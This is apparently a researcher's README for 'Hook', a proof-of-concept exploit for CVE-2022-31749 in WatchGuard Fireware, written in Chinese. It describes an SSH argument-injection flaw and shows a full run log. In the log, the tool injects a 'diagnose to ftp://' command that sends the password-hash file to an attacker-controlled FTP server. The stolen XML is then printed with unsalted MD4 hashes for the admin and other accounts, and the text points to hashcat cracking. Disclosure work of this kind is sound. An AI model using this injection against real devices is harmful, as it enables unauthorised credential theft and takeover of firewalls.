Hook 利用了 WatchGuard SSH 接口中的一个参数注入漏洞。该漏洞允许低权限用户将任意系统文件外泄到攻击者控制的 FTP 服务器。幸运的是，该脚本默认使用一个名为 status 的内置低权限用户。假设 status 用户使用 readonly 作为密码并非不合理，但这不是必需的。
Hook 会外泄用户文件 configd-hash.xml。该文件包含已哈希的用户密码。这些哈希只是未加盐的 MD4。@funoverip 早在 2013 年就描述了使用 hashcat 破解此文件中哈希的方法。
albinolobster@ubuntu:~/hook$ python3 hook.py --lhost 10.12.70.251 --rhost 10.12.70.249
0101010001101000 0110010100100000 0110100001101111
0110111101101011 0010000001100010 0111001001101001
,ggg, gg
dP""Y8b 88 ,dPYb,
Yb, `88 88 IP'`Yb
`" 88 88 I8 8I
88aaaaaaa88 I8 8bgg,
88"""""""88 ,ggggg, ,ggggg, I8 dP" "8
88 88 dP" "Y8ggg dP" "Y8ggg I8d8bggP"
88 88 i8' ,8I i8' ,8I I8P' "Yb,
88 Y8,,d8, ,d8' ,d8, ,d8' ,d8 `Yb,
88 `Y8P"Y8888P" P"Y8888P" 88P Y8
0110111001100111 0111001100100000 0111100101101111
0111010100100000 0110001001100001 0110001101101011
jbaines-r7
CVE-2022-31749
🦞
[+] Spinning up FTP server thread
[I 2022-06-16 12:58:39] concurrency model: async
[I 2022-06-16 12:58:39] masquerade (NAT) address: None
[I 2022-06-16 12:58:39] passive ports: None
[I 2022-06-16 12:58:39] >>> starting FTP server on 10.12.70.251:1270, pid=19473 <<<
diagnose to ftp://r7:1270/r7
--
-- WatchGuard Fireware OS Version 12.1.3.B658867
-- Support: https://www.watchguard.com/support/supportLogin.asp
-- Copyright (C) 1996-2022 WatchGuard Technologies Inc.
--
WG>diagnose to ftp://r7:1270/r7
Name:
albinolobster
Password:
[I 2022-06-16 12:58:46] 10.12.70.249:52588-[] FTP session opened (connect)
[I 2022-06-16 12:58:46] 10.12.70.249:52588-[albinolobster] USER 'albinolobster' logged in.
[I 2022-06-16 12:58:46] 10.12.70.249:52588-[albinolobster] STOR /home/albinolobster/hook/configd-hash.xml completed=1 bytes=249 seconds=0.001
[I 2022-06-16 12:58:46] 10.12.70.249:52588-[albinolobster] FTP session closed (disconnect).
WG>
[!] Done
albinolobster@ubuntu:~/hook$ file configd-hash.xml
configd-hash.xml: gzip compressed data, max speed, from Unix, original size modulo 2^32 587
albinolobster@ubuntu:~/hook$ mv configd-hash.xml configd-hash.xml.gz
albinolobster@ubuntu:~/hook$ gunzip configd-hash.xml.gz
albinolobster@ubuntu:~/hook$ cat configd-hash.xml
<?xml version="1.0"?>
<users>
<version>3</version>
<user name="admin">
<enabled>1</enabled>
<hash>628427e87df42adc7e75d2dd5c14b170</hash>
<domain>Firebox-DB</domain>
<role>Device Administrator</role>
</user>
<user name="status">
<enabled>1</enabled>
<hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
<domain>Firebox-DB</domain>
<role>Device Monitor</role>
</user>
<user name="wg-support">
<enabled>0</enabled>
<hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
<domain>Firebox-DB</domain>
<role>Device Monitor</role>
</user>
</users>
albinolobster@ubuntu:~/hook$